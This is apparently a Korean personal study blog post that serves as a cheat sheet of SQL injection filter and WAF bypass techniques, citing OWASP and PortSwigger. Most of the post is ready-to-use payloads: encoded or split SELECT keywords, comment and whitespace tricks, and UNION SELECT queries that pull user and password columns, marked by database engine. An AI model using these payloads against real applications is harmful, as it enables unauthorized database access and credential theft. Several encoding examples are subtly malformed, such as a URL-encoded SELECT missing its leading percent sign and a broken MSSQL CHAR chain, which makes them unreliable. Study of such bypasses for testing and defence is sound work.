Web 공부/개념정리

SQL Injection 필터링 모음

sniffy-fanta 2025. 6. 20. 16:15

1. 문자열 우회법

1.1. URL 인코딩

  • 설명: SQL 예약어, 특수문자, 공백 등을 %+16진수로 변환해서 필터를 우회
  • 예시:
    SELECT → 53%45%4c%45%43%54
  • 조건: 모든 DB에서 가능 (MySQL, MSSQL, Oracle, PostgreSQL, SQLite)

1.2. URL 더블 인코딩

  • 설명: SQL 예약어, 특수문자, 공백 등을 %+16진수로 변환을 두번해서 필터를 우회
  • 예시:
    SELECT  35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34
  • 조건: 모든 DB에서 가능 (MySQL, MSSQL, Oracle, PostgreSQL, SQLite)

1.3. 16진수/ASCII 인코딩

  • 설명: 문자열, 키워드를 hex 값(0x...)으로 넣거나, CHAR() 등 함수로 조합
  • 예시: 
    MySQL
    SELECT  0x53454c454354, SELECT CHAR(83,69,76,69,67,84)
    MSSQL
    SELECT  0x53454c454354, SELECT  CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)CHAR(67)+CHAR(84)
    Oracle
    SELECT  CHR(83)||CHR(69)||CHR(76)||CHR(69)||CHR(67)||CHR(84)
    PostgreSQL
    SELECT  CHR(83)||CHR(69)||CHR(76)||CHR(69)||CHR(67)||CHR(84)
    SQLite
    SELECT  CHAR(83,69,76,69,67,84)
  • 조건: DB마다 다름

1.4. 2진수 

  • 설명: 문자열, 키워드를 2진수(0b...), CHAR(), 또는 문자열 함수로 표현해서 필터를 우회하는 방식.
    DB마다 함수명/지원 방식이 다름.
  • 예시:
    SELECT  CHAR(0b1010011, 0b1000101, 0b1001100, 0b1000101, 0b1000011, 0b1010100);
  • 조건: MySQL만 가능

1.5. 대소문자/혼합

  • 설명: SQL은 대소문자 구분하지 않으므로 필터가 한쪽만 막을 때 회피
  • 예시:
    SeLeCt
    sElEcT
  • 조건: 모든 DB에서 가능 (MySQL, MSSQL, Oracle, PostgreSQL, SQLite)

1.6. 키워드/문자열 결합

  • 설명: 필터가 SELECT를 막아도 문자열을 분해해서 조합
  • 예시:
    MySQL/SQLite: 'SEL' 'ECT'
    MSSQL: 'SEL'+'ECT'
    Oracle/PostgreSQL: 'SEL'||'ECT'
  • 조건: DB마다 다름

1.7. 키워드 변형

  • 설명: 키워드에 문자 삽입, 반복 등으로 패턴 우회
  • 예시:
    MySQL
    SELECT → SELSELECTECT, SELE%0bCT, SELE%09CT, SELE%0aCT, SELE%0cCT, SELE%a0CT
    MSSQL/Oracle/PostgreSQL/SQLite
    SELECT → SELE%09CT
  • 조건: DB마다 다름

1.8. 주석 활용

  • 설명: 주석을 사용해 키워드 중간을 끊어서 필터 우회
    예시:
    SEL/**/ECT
  • 조건: 모든 DB에서 가능 (MySQL, MSSQL, Oracle, PostgreSQL, SQLite)

1.9. 슬래시 //, 파괴적 주석

  • 설명: MySQL 등에서 지원하는 인라인 주석으로 필터 우회
  • 예시:
    SEL//ECT
  • 조건: MySQL만 가능

1.10. 기타 인코딩 (Unicode 등)

  • 설명: Unicode, Base64, Ascii-hex, 이중 인코딩 등 다양한 인코딩 시도
  • 예시:
    Base64: SELECT → U0VMRUNU
    Unicode: SELECT → %u0053%u0045%u004C%u0045%u0043%u0054
  • 조건: 모든 DB에서 가능 (MySQL, MSSQL, Oracle, PostgreSQL, SQLite)

2.  공백(Whitespace) 우회법

2.1. 주석으로 대체

  • 설명: SQL에서는 주석을 공백처럼 사용 가능
  • 예시:
    MySQL/MSSQL/Oracle/PostgreSQL/SQLite
    UNION/**/SELECT
    MySQL
    UNION/*!*/SELECT
  • 조건: DB마다 다름

2.2 . 특수문자/인코딩

  • 설명: %20, %0a, %09 등 인코딩된 공백/탭/줄바꿈 문자
  • 예시:
    MySQL
    UNION%09SELECT, UNION%0aSELECT, UNION%20SELECT, UNION%0cSELECT, UNION%0bSELECT, UNION%a0SELECT
    MSSQL/Oracle/PostgreSQL/SQLite
    UNION%20SELECT, UNION%09SELECT
  • 조건: DB마다 다름

2.3. 특수문자/패턴(%, +, 등)으로 교란

  • 설명: +기호(공백으로 인식, 특히 URL에서)
  • 예시:
    union+select
    union%2bselect (%2b는 +)
  • 조건: 모든 DB에서 가능 (MySQL, MSSQL, Oracle, PostgreSQL, SQLite)

3. 주석(Comment) 우회법

3.1.  # 샵 주석

  • 설명: MySQL 등에서 한 줄 주석으로 사용
  • 예시:
    ' UNION SELECT user, pass FROM users #
  • 조건: MySQL, SQLite만 가능

3.2. URL 인코딩 주석

  • 설명: 주석 기호를 인코딩해서 필터 우회
  • 예시:
    MySQL/SQLite
    ' UNION SELECT user, pass FROM users %23
    MSSQL/Oracle/PostgreSQL
    ' UNION SELECT user, pass FROM users %2d%2d
  • 조건: DB마다 다름

3.3.  널 바이트(%00) 활용

  • 설명: 널 바이트로 쿼리 뒷부분 무시
  • 예시:
    ' UNION SELECT user, pass FROM users %00
  • 조건: MySQL만 가능

4. HTTP 파라미터 오염(HPP, HPF)

  • 설명: 동일한 파라미터 여러 개 전송해서, 필터 우회
  • 예시:
    /?id=admin&id=' or 1=1# (서버 환경 따라 다르게 파싱)

5. 동의어 함수, 함수 치환

  • 설명: 같은 기능의 여러 함수로 필터/시그니처 우회
  • 예시:
    substring() → mid(), substr()
    ascii() → hex(), bin()

6. 참고 자료

https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

 

SQL Injection Bypassing WAF | OWASP Foundation

SQL Injection Bypassing WAF on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

owasp.org

https://portswigger.net/support/sql-injection-bypassing-common-filters

 

SQL Injection: Bypassing Common Filters

SQL Injection: Bypassing Common Filters In some situations, an application that is vulnerable to SQL injection (SQLi) may implement various input filters ...

portswigger.net

https://code.google.com/archive/p/teenage-mutant-ninja-turtles/wikis/BasicObfuscation.wiki

 

Google Code Archive - Long-term storage for Google Code Project Hosting.

 

code.google.com

https://code.google.com/archive/p/teenage-mutant-ninja-turtles/wikis/AdvancedObfuscation.wiki

 

Google Code Archive - Long-term storage for Google Code Project Hosting.

 

code.google.com